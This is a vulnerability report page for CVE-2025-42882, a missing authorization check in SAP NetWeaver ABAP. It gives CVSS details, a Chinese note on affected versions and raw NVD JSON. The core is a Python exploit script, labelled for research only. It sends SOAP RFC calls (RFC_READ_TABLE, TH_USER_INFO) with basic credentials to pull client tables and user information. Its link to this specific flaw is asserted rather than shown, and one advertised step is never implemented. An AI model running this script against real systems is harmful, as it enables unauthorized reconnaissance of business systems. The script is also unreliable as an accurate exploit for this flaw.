Security Vulnerability Report
中文
CVE-2025-42882 CVSS 4.3 MEDIUM

CVE-2025-42882

Published: 2025-11-11 01:15:37
Last Modified: 2026-04-15 00:35:42

Description

Due to a missing authorization check in SAP NetWeaver Application Server for ABAP, an authenticated attacker with basic privileges could execute a specific function module in ABAP to retrieve restricted technical information from the system. This disclosure of environment details of the system could further assist this attacker to plan subsequent attacks. As a result, this vulnerability has a low impact on confidentiality, with no impact on the integrity or availability of the application.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SAP NetWeaver Application Server for ABAP (所有未安装安全补丁的版本)
SAP NetWeaver 7.4 及更高版本可能受影响
具体版本请参阅SAP官方安全公告 SAP Note 3643337

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-42882 PoC - SAP NetWeaver ABAP Unauthorized Information Disclosure # Target: SAP NetWeaver Application Server for ABAP # Requirement: Valid basic user credentials import requests import xml.etree.ElementTree as ET TARGET_URL = "https://sap-server:8000/sap/bc/soap/rfc" USERNAME = "attacker_user" PASSWORD = "password123" CLIENT = "001" def create_soap_envelope(function_name, params): """Generate SOAP envelope for RFC call""" return f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sap="http://sap.com/soap/SOAP/"> <soap:Header/> <soap:Body> <ns1:{function_name} xmlns:ns1="urn:sap-com:document:sap:rfc:functions"> {params} </ns1:{function_name}> </soap:Body> </soap:Envelope>''' def exploit_information_disclosure(): """Exploit CVE-2025-42882 to retrieve system information""" headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""/' } # Exploit 1: Read system client table params_t000 = ''' <QUERY_TABLE>T000</QUERY_TABLE> <DELIMITER>|</DELIMITER> <FIELDS> <item> <FIELDNAME>MANDT</FIELDNAME> </item> <item> <FIELDNAME>MTEXT</FIELDNAME> </item> </FIELDS> ''' # Exploit 2: Get current user session info via TH_USER_INFO params_user_info = ''' <USER>{}</USER> '''.format(USERNAME) # Exploit 3: Get system environment via RFC_SYSTEM_INFO print("[*] Testing CVE-2025-42882 - SAP ABAP Authorization Bypass") print("[*] Target:", TARGET_URL) # Send exploit requests for exploit_name, func_name, params in [ ('Client Configuration', 'RFC_READ_TABLE', params_t000), ('User Session Info', 'TH_USER_INFO', params_user_info) ]: soap_body = create_soap_envelope(func_name, params) try: response = requests.post( TARGET_URL, data=soap_body, headers=headers, auth=(f'{CLIENT}{USERNAME}', PASSWORD), verify=False, timeout=30 ) if response.status_code == 200: print(f"[+] {exploit_name} - Request successful") print(f" Response length: {len(response.text)} bytes") # Parse and extract sensitive data root = ET.fromstring(response.text) # Extract DATA element content data = root.find('.//{urn:sap-com:document:sap:rfc:functions}DATA') if data is not None: print(f" [!] Sensitive data leaked: {data.text[:200]}...") else: print(f"[-] {exploit_name} - Failed (HTTP {response.status_code})") except Exception as e: print(f"[-] {exploit_name} - Error: {str(e)}") if __name__ == "__main__": exploit_information_disclosure()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42882", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:36.557", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a missing authorization check in SAP NetWeaver Application Server for ABAP, an authenticated attacker with basic privileges could execute a specific function module in ABAP to retrieve restricted technical information from the system. This disclosure of environment details of the system could further assist this attacker to plan subsequent attacks. As a result, this vulnerability has a low impact on confidentiality, with no impact on the integrity or availability of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3643337", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}